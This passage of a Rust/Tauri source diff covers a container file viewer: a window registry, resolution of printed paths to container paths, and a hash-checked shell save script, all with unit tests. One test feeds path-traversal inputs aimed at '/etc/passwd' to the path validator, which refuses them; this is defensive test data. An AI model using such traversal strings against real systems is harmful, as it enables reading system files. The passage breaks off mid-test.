pub fn remove(&self, label: &str) {
self.lock().remove(label);
}
pub fn find_open(&self, project_id: &str, container_path: &str) -> Option<String> {
open_on(&self.lock(), project_id, container_path, None).map(|(label, _)| label)
}
pub fn len(&self) -> usize {
self.lock().len()
}
pub fn is_empty(&self) -> bool {
self.len() == 0
}
}
#[cfg(test)]
mod tests {
use super::*;
fn target(project: &str, path: &str) -> ViewerTarget {
ViewerTarget {
project_id: project.into(),
project_name: "Demo".into(),
raw_path: path.into(),
state: ViewerTargetState::Resolved { container_path: path.into() },
initial: Location { line: Some(3), col: None, end_line: None },
}
}
fn all_live(_: &str) -> bool {
true
}
/// Reserves a label that must be new.
fn fresh(r: &ViewerRegistry, t: ViewerTarget) -> String {
match r.reserve(t, all_live).unwrap() {
Reservation::Reserved(label) => label,
other => panic!("expected a new label, got {:?}", other),
}
}
fn choosing(project: &str, candidates: &[&str]) -> ViewerTarget {
ViewerTarget {
state: ViewerTargetState::Choose { candidates: candidates.iter().map(|c| c.to_string()).collect() },
..target(project, "a")
}
}
#[test]
fn labels_are_sequential_and_never_reused() {
let r = ViewerRegistry::default();
let a = fresh(&r, target("p", "/workspace/a"));
let b = fresh(&r, target("p", "/workspace/b"));
assert_eq!(a, "file-viewer-1");
assert_eq!(b, "file-viewer-2");
r.remove(&a);
let c = fresh(&r, target("p", "/workspace/c"));
assert_eq!(c, "file-viewer-3");
assert_eq!(r.len(), 2);
}
#[test]
fn the_cap_refuses_the_twenty_first_window() {
let r = ViewerRegistry::default();
for i in 0..MAX_VIEWER_WINDOWS {
fresh(&r, target("p", &format!("/workspace/{}", i)));
}
let err = r.reserve(target("p", "/workspace/one-more"), all_live).unwrap_err();
assert!(err.contains("20"), "{}", err);
assert_eq!(r.len(), MAX_VIEWER_WINDOWS);
}
#[test]
fn an_open_resolved_file_is_found_by_project_and_path() {
let r = ViewerRegistry::default();
let label = fresh(&r, target("p", "/workspace/a"));
assert_eq!(r.find_open("p", "/workspace/a"), Some(label.clone()));
assert_eq!(r.find_open("other", "/workspace/a"), None);
// A window still choosing is not "open on" any path.
r.set_state(&label, ViewerTargetState::Choose { candidates: vec!["/workspace/a".into()] }).unwrap();
assert_eq!(r.find_open("p", "/workspace/a"), None);
r.remove(&label);
assert_eq!(r.get(&label), None);
}
#[test]
fn set_state_on_an_unknown_label_is_an_error() {
let r = ViewerRegistry::default();
assert!(r.set_state("file-viewer-9", ViewerTargetState::NotFound { tried: vec![] }).is_err());
}
#[test]
fn target_state_serialises_with_a_kind_tag() {
let s = serde_json::to_string(&ViewerTargetState::NotFound { tried: vec!["/x".into()] }).unwrap();
assert_eq!(s, r#"{"kind":"not_found","tried":["/x"]}"#);
}
/// I1: a second click while the first window is still being built must find
/// that window, not read it as stale and reserve a second one.
#[test]
fn a_window_being_built_is_found_not_replaced() {
let r = ViewerRegistry::default();
let a = fresh(&r, target("p", "/workspace/a"));
// No window exists yet for `a`: `is_live` says so, and it must not matter.
let second = r.reserve(target("p", "/workspace/a"), |_| false).unwrap();
assert_eq!(second, Reservation::Existing { label: a.clone(), built: false });
assert!(r.get(&a).is_some());
assert_eq!(r.len(), 1);
r.mark_built(&a);
let third = r.reserve(target("p", "/workspace/a"), all_live).unwrap();
assert_eq!(third, Reservation::Existing { label: a, built: true });
assert_eq!(r.len(), 1);
}
/// A built entry whose window is gone is stale: pruned, and the file reopens.
#[test]
fn a_built_entry_without_a_window_is_pruned_and_the_file_reopens() {
let r = ViewerRegistry::default();
let a = fresh(&r, target("p", "/workspace/a"));
r.mark_built(&a);
let again = r.reserve(target("p", "/workspace/a"), |_| false).unwrap();
assert_eq!(again, Reservation::Reserved("file-viewer-2".into()));
assert_eq!(r.get(&a), None);
assert_eq!(r.len(), 1);
}
/// M2: a leaked entry of any state cannot hold a cap slot once built and gone,
/// and an entry still being built always keeps its slot.
#[test]
fn leaked_entries_of_every_state_free_their_cap_slot() {
let r = ViewerRegistry::default();
let mut labels = Vec::new();
for i in 0..MAX_VIEWER_WINDOWS {
let t = match i % 3 {
0 => target("p", &format!("/workspace/{}", i)),
1 => choosing("p", &["/workspace/x", "/workspace/y"]),
_ => ViewerTarget { state: ViewerTargetState::NotFound { tried: vec![] }, ..target("p", "z") },
};
labels.push(fresh(&r, t));
}
// All still being built: none may be pruned, so the cap holds.
assert!(r.reserve(target("p", "/workspace/new"), |_| false).is_err());
for l in &labels {
r.mark_built(l);
}
// Built, and one of each state has lost its window.
let dead = [labels[0].clone(), labels[1].clone(), labels[2].clone()];
let live = |l: &str| !dead.iter().any(|d| d == l);
assert!(matches!(r.reserve(target("p", "/workspace/new"), live), Ok(Reservation::Reserved(_))));
assert_eq!(r.len(), MAX_VIEWER_WINDOWS - 2);
for d in &dead {
assert_eq!(r.get(d), None);
}
}
#[test]
fn mark_built_on_a_removed_label_is_a_no_op() {
let r = ViewerRegistry::default();
let a = fresh(&r, target("p", "/workspace/a"));
r.remove(&a);
r.mark_built(&a);
assert_eq!(r.get(&a), None);
}
/// M5: choosing a file another window already has leaves the chooser alone,
/// so two entries are never resolved to the same file.
#[test]
fn choosing_a_file_open_elsewhere_does_not_resolve_a_second_entry() {
let r = ViewerRegistry::default();
let open = fresh(&r, target("p", "/workspace/x"));
r.mark_built(&open);
let chooser = fresh(&r, choosing("p", &["/workspace/x", "/workspace/y"]));
r.mark_built(&chooser);
let c = r.choose(&chooser, "/workspace/x".into(), all_live).unwrap();
assert_eq!(c, Choice::AlreadyOpen { label: open.clone(), built: true });
assert!(matches!(r.get(&chooser).unwrap().state, ViewerTargetState::Choose { .. }));
match r.choose(&chooser, "/workspace/y".into(), all_live).unwrap() {
Choice::Resolved(t) => assert_eq!(t.state, ViewerTargetState::Resolved { container_path: "/workspace/y".into() }),
other => panic!("expected Resolved, got {:?}", other),
}
assert_eq!(r.find_open("p", "/workspace/y"), Some(chooser));
}
#[test]
fn choosing_the_same_path_in_another_project_is_not_a_duplicate() {
let r = ViewerRegistry::default();
fresh(&r, target("other", "/workspace/x"));
let chooser = fresh(&r, choosing("p", &["/workspace/x"]));
assert!(matches!(r.choose(&chooser, "/workspace/x".into(), all_live), Ok(Choice::Resolved(_))));
}
#[test]
fn choose_on_an_unknown_label_is_an_error() {
let r = ViewerRegistry::default();
assert!(r.choose("file-viewer-9", "/workspace/x".into(), all_live).is_err());
}
}
+166
View File
@@ -0,0 +1,166 @@
//! Turning what Claude printed into a container path that exists.
//!
//! Relative paths are the common case (Claude prints project-relative paths). The
//! terminal exec's cwd is `/workspace`, and each project path is mounted at
//! `/workspace/<mount_name>`, so those are the roots probed, in that order. The probe
//! is one exec as the container user and prints `realpath -e` of every candidate that
//! is a regular file: `fetch_container_file` refuses a symlink, so the registry must
//! hold the resolved path, not the one that was clicked.
use crate::commands::file_commands::validate_container_path;
use crate::docker::exec::exec_oneshot_streams_as;
pub const MAX_CANDIDATES: usize = 16;
const MAX_RAW_LEN: usize = 4096;
/// `$@` are the candidates. For each regular file, print its resolved path.
pub const PROBE_SCRIPT: &str = r#"for c in "$@"; do if test -f "$c"; then realpath -e -- "$c" 2>/dev/null; fi; done; exit 0"#;
pub fn candidate_paths(raw: &str, mount_names: &[String]) -> Result<Vec<String>, String> {
if raw.is_empty() {
return Err("The path is empty.".into());
}
if raw.len() > MAX_RAW_LEN {
return Err("The path is too long.".into());
}
if raw.contains('\0') {
return Err("The path contains a NUL byte.".into());
}
if raw.split('/').any(|seg| seg == "..") {
return Err(format!("{} climbs out of its folder with `..`; refusing.", raw));
}
if raw.starts_with('/') {
let normalised = collapse(raw);
validate_container_path("File", &normalised)?;
return Ok(vec![normalised]);
}
let rel = collapse(raw.strip_prefix("./").unwrap_or(raw));
let rel = rel.trim_start_matches("./");
if rel.is_empty() {
return Err("The path is empty.".into());
}
let mut out: Vec<String> = Vec::new();
let mut push = |candidate: String| {
if out.len() < MAX_CANDIDATES && !out.contains(&candidate) {
out.push(candidate);
}
};
push(format!("/workspace/{}", rel));
for mount in mount_names {
if mount.is_empty() || mount.contains('/') || mount == "." || mount == ".." {
continue;
}
push(format!("/workspace/{}/{}", mount, rel));
}
for c in &out {
validate_container_path("File", c)?;
}
Ok(out)
}
/// `a//b/./c` → `a/b/c`. Never touches `..` (rejected before this runs).
fn collapse(path: &str) -> String {
let absolute = path.starts_with('/');
let joined = path
.split('/')
.filter(|seg| !seg.is_empty() && *seg != ".")
.collect::<Vec<_>>()
.join("/");
if absolute { format!("/{}", joined) } else { joined }
}
/// One resolved path per line; anything that is not an absolute, valid container path is
/// dropped (the script's own diagnostics go to stderr, but a hostile `realpath` output is
/// still container-authored text).
pub fn parse_probe_output(stdout: &str) -> Vec<String> {
let mut seen: Vec<String> = Vec::new();
for line in stdout.lines() {
let line = line.trim();
if line.is_empty() || validate_container_path("File", line).is_err() {
continue;
}
if !seen.iter().any(|s| s == line) {
seen.push(line.to_string());
}
}
seen
}
pub async fn probe_candidates(
container_id: &str,
candidates: &[String],
) -> Result<Vec<String>, String> {
let mut cmd: Vec<String> = vec!["sh".into(), "-c".into(), PROBE_SCRIPT.into(), "probe".into()];
cmd.extend(candidates.iter().cloned());
let (stdout, _stderr, _code) =
exec_oneshot_streams_as(container_id, "claude", cmd, Vec::new()).await?;
Ok(parse_probe_output(&stdout))
}
#[cfg(test)]
mod tests {
use super::*;
fn mounts(names: &[&str]) -> Vec<String> {
names.iter().map(|s| s.to_string()).collect()
}
#[test]
fn an_absolute_path_is_its_own_only_candidate() {
let c = candidate_paths("/workspace/api/src/main.rs", &mounts(&["api"])).unwrap();
assert_eq!(c, vec!["/workspace/api/src/main.rs"]);
}
#[test]
fn a_relative_path_probes_workspace_then_each_mount() {
let c = candidate_paths("src/main.rs", &mounts(&["api", "web"])).unwrap();
assert_eq!(
c,
vec!["/workspace/src/main.rs", "/workspace/api/src/main.rs", "/workspace/web/src/main.rs"]
);
}
#[test]
fn dot_prefix_and_duplicate_slashes_are_normalised_and_candidates_deduped() {
let c = candidate_paths("./src//main.rs", &mounts(&["api", "api", ""])).unwrap();
assert_eq!(c, vec!["/workspace/src/main.rs", "/workspace/api/src/main.rs"]);
}
#[test]
fn traversal_nul_and_oversize_are_refused() {
assert!(candidate_paths("../etc/passwd", &[]).is_err());
assert!(candidate_paths("src/../../x", &[]).is_err());
assert!(candidate_paths("/workspace/../etc/passwd", &[]).is_err());
assert!(candidate_paths("a\0b", &[]).is_err());
assert!(candidate_paths("", &[]).is_err());
assert!(candidate_paths(&"a".repeat(5000), &[]).is_err());
}
#[test]
fn candidate_list_is_capped() {
let many: Vec<String> = (0..40).map(|i| format!("m{}", i)).collect();
let c = candidate_paths("x.rs", &many).unwrap();
assert_eq!(c.len(), MAX_CANDIDATES);
}
#[test]
fn probe_output_keeps_valid_resolved_regular_files_only() {
let out = "/workspace/api/src/main.rs\n/workspace/api/src/main.rs\n\nrelative/junk\n/etc/../x\n/workspace/web/src/main.rs\n";
assert_eq!(
parse_probe_output(out),
vec!["/workspace/api/src/main.rs", "/workspace/web/src/main.rs"]
);
}
#[test]
fn the_probe_script_prints_resolved_paths_of_regular_files() {
// Shape assertions: the script is data handed to `sh -c`, and these are the
// three things a later edit must not lose.
assert!(PROBE_SCRIPT.contains("test -f"));
assert!(PROBE_SCRIPT.contains("realpath -e --"));
assert!(PROBE_SCRIPT.contains("for c in \"$@\""));
}
}
+27
View File
@@ -0,0 +1,27 @@
//! The viewer window itself. Mirrors `browser_view/popout.rs`, with two differences:
//! the URL is the app's own second entry (`WebviewUrl::App`), so the capability in
//! `capabilities/file-viewer.json` applies; and the registry entry is removed on
//! `Destroyed`, which fires for both the X button (after JS calls `destroy()`) and a
//! Rust-side `destroy()`.
use tauri::{AppHandle, Manager, WebviewUrl, WebviewWindowBuilder, WindowEvent};
use super::registry::ViewerRegistry;
pub fn open_viewer_window(app: &AppHandle, label: &str, title: &str) -> Result<(), String> {
let window = WebviewWindowBuilder::new(app, label, WebviewUrl::App("viewer.html".into()))
.title(title)
.inner_size(900.0, 700.0)
.min_inner_size(480.0, 320.0)
.build()
.map_err(|e| format!("Could not open the file window: {}", e))?;
let app_for_event = app.clone();
let label_owned = label.to_string();
window.on_window_event(move |event| {
if let WindowEvent::Destroyed = event {
app_for_event.state::<ViewerRegistry>().remove(&label_owned);
}
});
Ok(())
}
+604
View File
@@ -0,0 +1,604 @@
//! Saving: stage in `/tmp`, then swap in as the container user.
//!
//! The Docker archive API writes as root, so it is used for exactly one thing — landing
//! the payload at `/tmp/triple-c-viewer-<uuid>`, owned by the container user (the
//! existing `write_file_to_container`). Everything that touches the *target directory*
//! runs in an exec as `claude`, so a save can do nothing the user's own shell could not.
//! A non-root process cannot `chown`, so the saved file is owned by the container user,
//! as it would be after Claude Code edited it; mode is kept with `chmod --reference`.
use serde::Serialize;
use sha2::{Digest, Sha256};
use crate::commands::file_commands::clip_container_text;
use crate::docker::exec::{exec_oneshot_streams_as, ExecSessionManager};
/// Spec §4/§5: only untruncated (≤ 1 MiB) text is editable, so nothing larger is saved.
pub const MAX_WRITE_BYTES: usize = 1024 * 1024;
pub fn sha256_hex(bytes: &[u8]) -> String {
let digest = Sha256::digest(bytes);
digest.iter().map(|b| format!("{:02x}", b)).collect()
}
pub fn is_sha256_hex(s: &str) -> bool {
s.len() == 64 && s.bytes().all(|b| matches!(b, b'0'..=b'9' | b'a'..=b'f'))
}
/// `$1` target, `$2` staged payload in /tmp, `$3` the hash the editor loaded from.
/// Exit 1 = a step failed (unreadable target, a failed stage/replace, …), 3 = changed
/// on disk, 4 = gone, 5 = the target is not writable by the container user; stdout on
/// success is `sha256sum` of the target *after* the write. That is not necessarily the
/// hash of what we wrote: another writer (Claude Code, on the same file) can land
/// between `mv` and `sha256sum`. `saved_file` therefore takes the save's base from the
/// bytes and only reports this one as what the disk held afterwards (M2).
///
/// P15: `sha256sum -- "$target"` prefixes its whole line with `\` when the path
/// contains a backslash or a newline, so `$actual` has that prefix stripped before
/// it is compared with `$expect` (which never carries one) — otherwise such a path
/// would conflict forever.
///
/// I1: `$actual` is read from a plain `sha256sum` command substitution, not a
/// pipeline into `cut` — POSIX sh has no `pipefail`, so `cmd | cut … || exit 1` tests
/// only `cut`'s exit status and an unreadable file (EACCES, EIO) fell through as a
/// false "changed on disk" conflict (empty `$actual` never equals `$expect`) instead
/// of a real error, hiding the actual failure from the user and from `classify_write`.
///
/// I2/M3: `$staged` is created by `mktemp` (exclusive — never follows a planted
/// symlink or stale leftover at that name) and is part of the `EXIT` trap from the
/// moment it is assigned, so a failure at any later step (`cp`, `chmod`, `mv`) cannot
/// leave a partial `.<name>.triple-c-<suffix>` behind in the user's own directory —
/// including on a signal, for the steps after the trap covers it.
pub const WRITE_SCRIPT: &str = r#"target=$1; tmp=$2; expect=$3
staged=
trap 'rm -f -- "$tmp" ${staged:+"$staged"}' EXIT
test -f "$target" || exit 4
actual=$(sha256sum -- "$target") || exit 1
actual=${actual%% *}; actual=${actual#\\}
[ "$actual" = "$expect" ] || exit 3
# I3: the file's own mode is a boundary the user set from outside the container (0444,
# a different owning uid, a read-only bind mount, …). Replacing it via rename or
# truncating it in place would silently cross that boundary even though `claude` is
# allowed to — an editor such as vim, or a plain `echo > file` in the user's own shell,
# would refuse. This is stricter than spec §5 step 3's literal "if the directory is
# writable" branch, which never looks at the file's own permissions; the branch below
# only ever chooses *how* to write, never *whether*.
#
# The rename branch replaces whatever is at "$target" (a symlink planted there after
# the window opened is replaced, not followed). The in-place `cat >` fallback, taken
# only for a writable file in a read-only directory, DOES follow such a symlink and
# writes through it. That is accepted: the write runs as `claude`, so it can reach
# nothing Claude Code in the same container cannot already write.
[ -w "$target" ] || { echo "The file is read-only for the container user." >&2; exit 5; }
dir=$(dirname -- "$target"); name=$(basename -- "$target")
if [ -w "$dir" ]; then
staged=$(mktemp -- "$dir/.$name.triple-c-XXXXXX") || exit 1
cp -- "$tmp" "$staged" || exit 1
chmod --reference="$target" "$staged" 2>/dev/null
mv -f -- "$staged" "$target" || exit 1
else
cat -- "$tmp" > "$target" || exit 1
fi
sha256sum -- "$target""#;
/// A save refused because the file changed since its base hash. The frontend matches
/// this prefix; its copy lives in `app/src/viewer/ipcMessages.ts` (pinned by a test).
pub const CONFLICT_PREFIX: &str = "conflict:";
/// A save refused because the file no longer exists; mirrored in `ipcMessages.ts`.
pub const GONE_PREFIX: &str = "gone:";
/// The read-only refusal. The script echoes the same sentence (pinned by a test), but
/// the caller always gets this constant, whatever the script printed; mirrored in
/// `ipcMessages.ts`.
pub const READ_ONLY_MESSAGE: &str = "The file is read-only for the container user.";
/// I3: distinct from the generic failure code so the caller can hand back a specific,
/// readable message instead of whatever the script's own diagnostic text says.
const EXIT_READ_ONLY: i64 = 5;
pub enum WriteOutcome {
Saved(String),
Conflict,
Gone,
Failed(String),
}
pub fn classify_write(code: i64, stdout: &str, stderr: &str) -> WriteOutcome {
match code {
3 => WriteOutcome::Conflict,
4 => WriteOutcome::Gone,
EXIT_READ_ONLY => WriteOutcome::Failed(READ_ONLY_MESSAGE.into()),
0 => match stdout
.split_whitespace()
.next()
.map(|h| h.trim_start_matches('\\'))
.filter(|h| is_sha256_hex(h))
{
Some(h) => WriteOutcome::Saved(h.to_string()),
None => WriteOutcome::Failed(
"The container did not report the saved file's hash.".into(),
),
},
_ => WriteOutcome::Failed(clip_container_text(stderr)),
}
}
/// The write script's argv beyond `sh -c SCRIPT`: `$0=save`, `$1=target`, `$2=tmp`,
/// `$3=base_hash` — pulled out pure so the argument shape has a unit test (P8).
fn write_command(target: &str, tmp: &str, base_hash: &str) -> Vec<String> {
vec![
"sh".to_string(),
"-c".to_string(),
WRITE_SCRIPT.to_string(),
"save".to_string(),
target.to_string(),
tmp.to_string(),
base_hash.to_string(),
]
}
/// Refuses a payload too large to be editable, or a malformed base hash, before
/// anything is staged in the container (P8).
fn check_write_input(len: usize, base_hash: &str) -> Result<(), String> {
if len > MAX_WRITE_BYTES {
return Err("Files over 1 MiB are read-only in the viewer.".into());
}
if !is_sha256_hex(base_hash) {
return Err("The editor's base hash is malformed; reload the file.".into());
}
Ok(())
}
/// What a successful save reports: `hash` is the new base, `sha256_hex` of the bytes
/// we wrote; `disk_hash` is what the container hashed right after the swap. They differ
/// only when another writer landed in between, and then the editor must show "Changed
/// on disk" rather than adopt the other writer's hash as its base (M2).
#[derive(Clone, Debug, Serialize, PartialEq, Eq)]
pub struct SavedFile {
pub hash: String,
pub disk_hash: String,
}
/// `viewer_write_file`'s result, pure so the error-prefix contract has a unit test.
fn saved_file(outcome: WriteOutcome, bytes: &[u8]) -> Result<SavedFile, String> {
match outcome {
WriteOutcome::Saved(disk_hash) => Ok(SavedFile { hash: sha256_hex(bytes), disk_hash }),
WriteOutcome::Conflict => Err(format!(
"{} the file changed on disk since it was loaded.",
CONFLICT_PREFIX
)),
WriteOutcome::Gone => Err(format!("{} the file no longer exists.", GONE_PREFIX)),
WriteOutcome::Failed(msg) => Err(format!("Could not save the file: {}", msg)),
}
}
pub async fn write_file(
container_id: &str,
exec_manager: &ExecSessionManager,
target: &str,
bytes: &[u8],
base_hash: &str,
) -> Result<SavedFile, String> {
check_write_input(bytes.len(), base_hash)?;
let tmp_name = format!("triple-c-viewer-{}", uuid::Uuid::new_v4().simple());
let tmp_path = exec_manager
.write_file_to_container(container_id, &tmp_name, bytes)
.await?;
let cmd = write_command(target, &tmp_path, base_hash);
let (stdout, stderr, code) =
exec_oneshot_streams_as(container_id, "claude", cmd, Vec::new()).await?;
saved_file(classify_write(code, &stdout, &stderr), bytes)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn sha256_matches_coreutils() {
// `printf 'hello\n' | sha256sum`
assert_eq!(
sha256_hex(b"hello\n"),
"5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03"
);
assert!(is_sha256_hex(&sha256_hex(b"")));
assert!(!is_sha256_hex("ABC"));
assert!(!is_sha256_hex(&"g".repeat(64)));
}
#[test]
fn exit_codes_map_to_outcomes() {
let h = "5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03";
assert!(matches!(classify_write(0, &format!("{} /x\n", h), ""), WriteOutcome::Saved(s) if s == h));
assert!(matches!(classify_write(3, "", ""), WriteOutcome::Conflict));
assert!(matches!(classify_write(4, "", ""), WriteOutcome::Gone));
assert!(matches!(classify_write(1, "", "cp: Permission denied"), WriteOutcome::Failed(m) if m.contains("Permission denied")));
// Success without a parseable hash is still a failure: the editor's base would be wrong.
assert!(matches!(classify_write(0, "junk", ""), WriteOutcome::Failed(_)));
}
/// I3: exit 5 is the script's read-only refusal, and it must not be swallowed by
/// the generic `_ => Failed(stderr)` arm — the caller gets a fixed, readable
/// message regardless of exactly what the script printed.
#[test]
fn exit_five_is_a_distinct_read_only_refusal() {
assert!(matches!(
classify_write(5, "", "The file is read-only for the container user."),
WriteOutcome::Failed(m) if m.contains("read-only")
));
}
/// M2: the new base is the hash of the bytes we wrote, never the script's
/// post-`mv` hash, which may belong to a writer that landed after us.
#[test]
fn a_save_takes_its_base_from_the_written_bytes() {
let ours = sha256_hex(b"new\n");
let same = saved_file(WriteOutcome::Saved(ours.clone()), b"new\n").unwrap();
assert_eq!(same, SavedFile { hash: ours.clone(), disk_hash: ours.clone() });
let foreign = sha256_hex(b"someone else's\n");
let raced = saved_file(WriteOutcome::Saved(foreign.clone()), b"new\n").unwrap();
assert_eq!(raced.hash, ours, "the base must be what we wrote");
assert_eq!(raced.disk_hash, foreign, "the foreign hash is reported, not adopted");
}
/// Important #4: the frontend matches these exact strings
/// (`app/src/viewer/ipcMessages.ts`), so pin them here too.
#[test]
fn save_errors_keep_the_prefix_contract() {
let conflict = saved_file(WriteOutcome::Conflict, b"").unwrap_err();
assert!(conflict.starts_with("conflict:"), "{conflict}");
assert_eq!(conflict, "conflict: the file changed on disk since it was loaded.");
let gone = saved_file(WriteOutcome::Gone, b"").unwrap_err();
assert!(gone.starts_with("gone:"), "{gone}");
assert_eq!(gone, "gone: the file no longer exists.");
let read_only = saved_file(classify_write(5, "", "whatever the script said"), b"").unwrap_err();
assert_eq!(read_only, "Could not save the file: The file is read-only for the container user.");
assert!(!read_only.starts_with(CONFLICT_PREFIX) && !read_only.starts_with(GONE_PREFIX));
let other = saved_file(classify_write(1, "", "No space left on device"), b"").unwrap_err();
assert_eq!(other, "Could not save the file: No space left on device");
// The script's own refusal text is the same sentence the caller is given.
assert!(WRITE_SCRIPT.contains(&format!("echo \"{}\" >&2; exit 5", READ_ONLY_MESSAGE)));
}
/// The TypeScript side keeps one copy of each matched string; a change on either
/// side without the other fails here.
#[test]
fn the_frontend_copies_of_the_ipc_messages_match() {
let path = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("../src/viewer/ipcMessages.ts");
let ts = std::fs::read_to_string(&path).expect("app/src/viewer/ipcMessages.ts");
for (name, value) in [
("CONFLICT_PREFIX", CONFLICT_PREFIX),
("GONE_PREFIX", GONE_PREFIX),
("READ_ONLY_MESSAGE", READ_ONLY_MESSAGE),
("NOT_RUNNING_PREFIX", crate::commands::file_commands::NOT_RUNNING_PREFIX),
] {
let line = format!("export const {} = \"{}\";", name, value);
assert!(ts.contains(&line), "ipcMessages.ts must contain `{line}`");
}
}
/// P15: a target path with a backslash makes `sha256sum` prefix the line;
/// the parsed hash must still be recognised as the saved hash.
#[test]
fn a_backslash_prefixed_saved_hash_is_still_recognised() {
let h = "5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03";
assert!(matches!(
classify_write(0, &format!("\\{} /x\\y\n", h), ""),
WriteOutcome::Saved(s) if s == h
));
}
#[test]
fn the_write_script_checks_then_swaps_and_always_cleans_up() {
for needle in [
"test -f \"$target\" || exit 4",
"exit 3",
"chmod --reference=\"$target\"",
"mv -f --",
"cat -- \"$tmp\" > \"$target\"",
// I2/M3: the trap covers the staged file too, and it comes from `mktemp`.
"trap 'rm -f -- \"$tmp\" ${staged:+\"$staged\"}' EXIT",
"mktemp -- \"$dir/.$name.triple-c-XXXXXX\"",
// I1: a plain command substitution, not a pipeline `cut` could mask.
"actual=$(sha256sum -- \"$target\") || exit 1",
// I3: a read-only target is refused before any write is attempted.
"[ -w \"$target\" ] || { echo \"The file is read-only for the container user.\" >&2; exit 5; }",
] {
assert!(WRITE_SCRIPT.contains(needle), "missing: {}", needle);
}
// The old pipeline form must be gone, not merely superseded.
assert!(!WRITE_SCRIPT.contains("cut -d' ' -f1"));
}
/// P8: the write script's test list is binding, and the argument order is
/// exactly what a later edit could silently break.
#[test]
fn write_command_has_the_expected_argv_shape() {
let cmd = write_command("/w/t.txt", "/tmp/x", "abc123");
assert_eq!(
cmd,
vec![
"sh".to_string(),
"-c".to_string(),
WRITE_SCRIPT.to_string(),
"save".to_string(),
"/w/t.txt".to_string(),
"/tmp/x".to_string(),
"abc123".to_string(),
]
);
}
/// P8: the size cap and base-hash checks are unit-testable in isolation from
/// the async `write_file`.
#[test]
fn check_write_input_refuses_oversized_payload_and_malformed_hash() {
let h = "5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03";
assert!(check_write_input(MAX_WRITE_BYTES, h).is_ok());
assert!(check_write_input(MAX_WRITE_BYTES + 1, h).is_err());
assert!(check_write_input(0, "not-a-hash").is_err());
}
// ── M10: WRITE_SCRIPT run for real, against a temp dir on the host ──────────
//
// The needle test above only proves the script *contains* certain substrings; it
// cannot catch the pipefail-shaped bug I1 was (the needle text was correct, the
// shell semantics were not). These run the exact `sh -c SCRIPT save target tmp
// hash` invocation `write_command` builds, so they pin the exit codes and cleanup
// behaviour that `write_file`/`classify_write` actually depend on. `sh` and the
// coreutils used here (`sha256sum`, `mktemp`, `dirname`, `basename`) are present
// on dev machines and CI alike.
#[cfg(unix)]
fn run_write_script(
target: &std::path::Path,
tmp: &std::path::Path,
base_hash: &str,
) -> (i32, String, String) {
let out = std::process::Command::new("sh")
.arg("-c")
.arg(WRITE_SCRIPT)
.arg("save")
.arg(target)
.arg(tmp)
.arg(base_hash)
.output()
.expect("sh must be on PATH to run this test");
(
out.status.code().unwrap_or(-1),
String::from_utf8_lossy(&out.stdout).into_owned(),
String::from_utf8_lossy(&out.stderr).into_owned(),
)
}
#[cfg(unix)]
fn unique_test_dir(name: &str) -> std::path::PathBuf {
let dir = std::env::temp_dir().join(format!("tc-write-{}-{}", name, uuid::Uuid::new_v4()));
std::fs::create_dir_all(&dir).unwrap();
dir
}
#[cfg(unix)]
#[test]
fn on_the_host_a_clean_save_replaces_the_file_and_cleans_up() {
let dir = unique_test_dir("clean");
let target = dir.join("t.txt");
let tmp = dir.join("payload");
std::fs::write(&target, b"old\n").unwrap();
std::fs::write(&tmp, b"new\n").unwrap();
let base = sha256_hex(b"old\n");
let (code, stdout, stderr) = run_write_script(&target, &tmp, &base);
assert_eq!(code, 0, "stdout={stdout} stderr={stderr}");
let new_hash = sha256_hex(b"new\n");
assert!(stdout.contains(&new_hash), "stdout={stdout}");
// With no other writer, the reported disk hash is ours, so no conflict is shown.
let saved = saved_file(classify_write(code as i64, &stdout, &stderr), b"new\n").unwrap();
assert_eq!(saved, SavedFile { hash: new_hash.clone(), disk_hash: new_hash.clone() });
assert_eq!(std::fs::read(&target).unwrap(), b"new\n");
assert!(!tmp.exists(), "the staged /tmp payload must be cleaned up");
let _ = std::fs::remove_dir_all(&dir);
}
/// M2, for real: another writer lands between the script's `mv` and its final
/// `sha256sum` (simulated by a `sha256sum` shim on PATH that rewrites the target on
/// its second call). The save's base must still be the hash of our bytes, and the
/// foreign hash must come back as `disk_hash`, so the editor shows "Changed on disk".
#[cfg(unix)]
#[test]
fn on_the_host_a_write_that_lands_after_ours_is_reported_not_adopted() {
use std::os::unix::fs::PermissionsExt;
let real = std::process::Command::new("sh")
.args(["-c", "command -v sha256sum"])
.output()
.expect("sh");
let real = String::from_utf8_lossy(&real.stdout).trim().to_string();
assert!(!real.is_empty(), "sha256sum must be on PATH");
let dir = unique_test_dir("race");
let bin = dir.join("bin");
std::fs::create_dir_all(&bin).unwrap();
let mark = dir.join("called-once");
let shim = bin.join("sha256sum");
std::fs::write(
&shim,
format!(
"#!/bin/sh\nif [ -e '{mark}' ]; then printf 'theirs\\n' > \"$2\"; fi\n: > '{mark}'\nexec '{real}' \"$@\"\n",
mark = mark.display(),
real = real
),
)
.unwrap();
std::fs::set_permissions(&shim, std::fs::Permissions::from_mode(0o755)).unwrap();
let target = dir.join("t.txt");
let tmp = dir.join("payload");
std::fs::write(&target, b"old\n").unwrap();
std::fs::write(&tmp, b"new\n").unwrap();
let path = format!("{}:{}", bin.display(), std::env::var("PATH").unwrap_or_default());
let out = std::process::Command::new("sh")
.env("PATH", path)
.arg("-c")
.arg(WRITE_SCRIPT)
.arg("save")
.arg(&target)
.arg(&tmp)
.arg(sha256_hex(b"old\n"))
.output()
.unwrap();
let (stdout, stderr) = (String::from_utf8_lossy(&out.stdout), String::from_utf8_lossy(&out.stderr));
assert_eq!(out.status.code(), Some(0), "stdout={stdout} stderr={stderr}");
assert_eq!(std::fs::read(&target).unwrap(), b"theirs\n", "the shim's write landed last");
let saved = saved_file(classify_write(0, &stdout, &stderr), b"new\n").unwrap();
assert_eq!(saved.hash, sha256_hex(b"new\n"));
assert_eq!(saved.disk_hash, sha256_hex(b"theirs\n"));
let _ = std::fs::remove_dir_all(&dir);
}
#[cfg(unix)]
#[test]
fn on_the_host_a_stale_base_hash_conflicts_and_leaves_everything_untouched() {
let dir = unique_test_dir("stale");
let target = dir.join("t.txt");
let tmp = dir.join("payload");
std::fs::write(&target, b"old\n").unwrap();
std::fs::write(&tmp, b"new\n").unwrap();
